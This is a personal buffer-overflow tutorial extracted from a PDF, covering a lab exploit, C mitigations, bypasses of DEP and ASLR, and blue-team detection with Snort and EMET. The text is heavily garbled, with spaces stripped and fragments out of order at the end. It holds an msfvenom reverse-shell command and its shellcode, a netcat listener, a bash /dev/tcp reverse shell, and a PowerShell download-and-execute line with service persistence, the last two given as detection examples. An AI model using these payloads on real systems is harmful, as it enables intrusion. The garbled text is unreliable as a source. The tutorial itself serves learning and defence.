Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

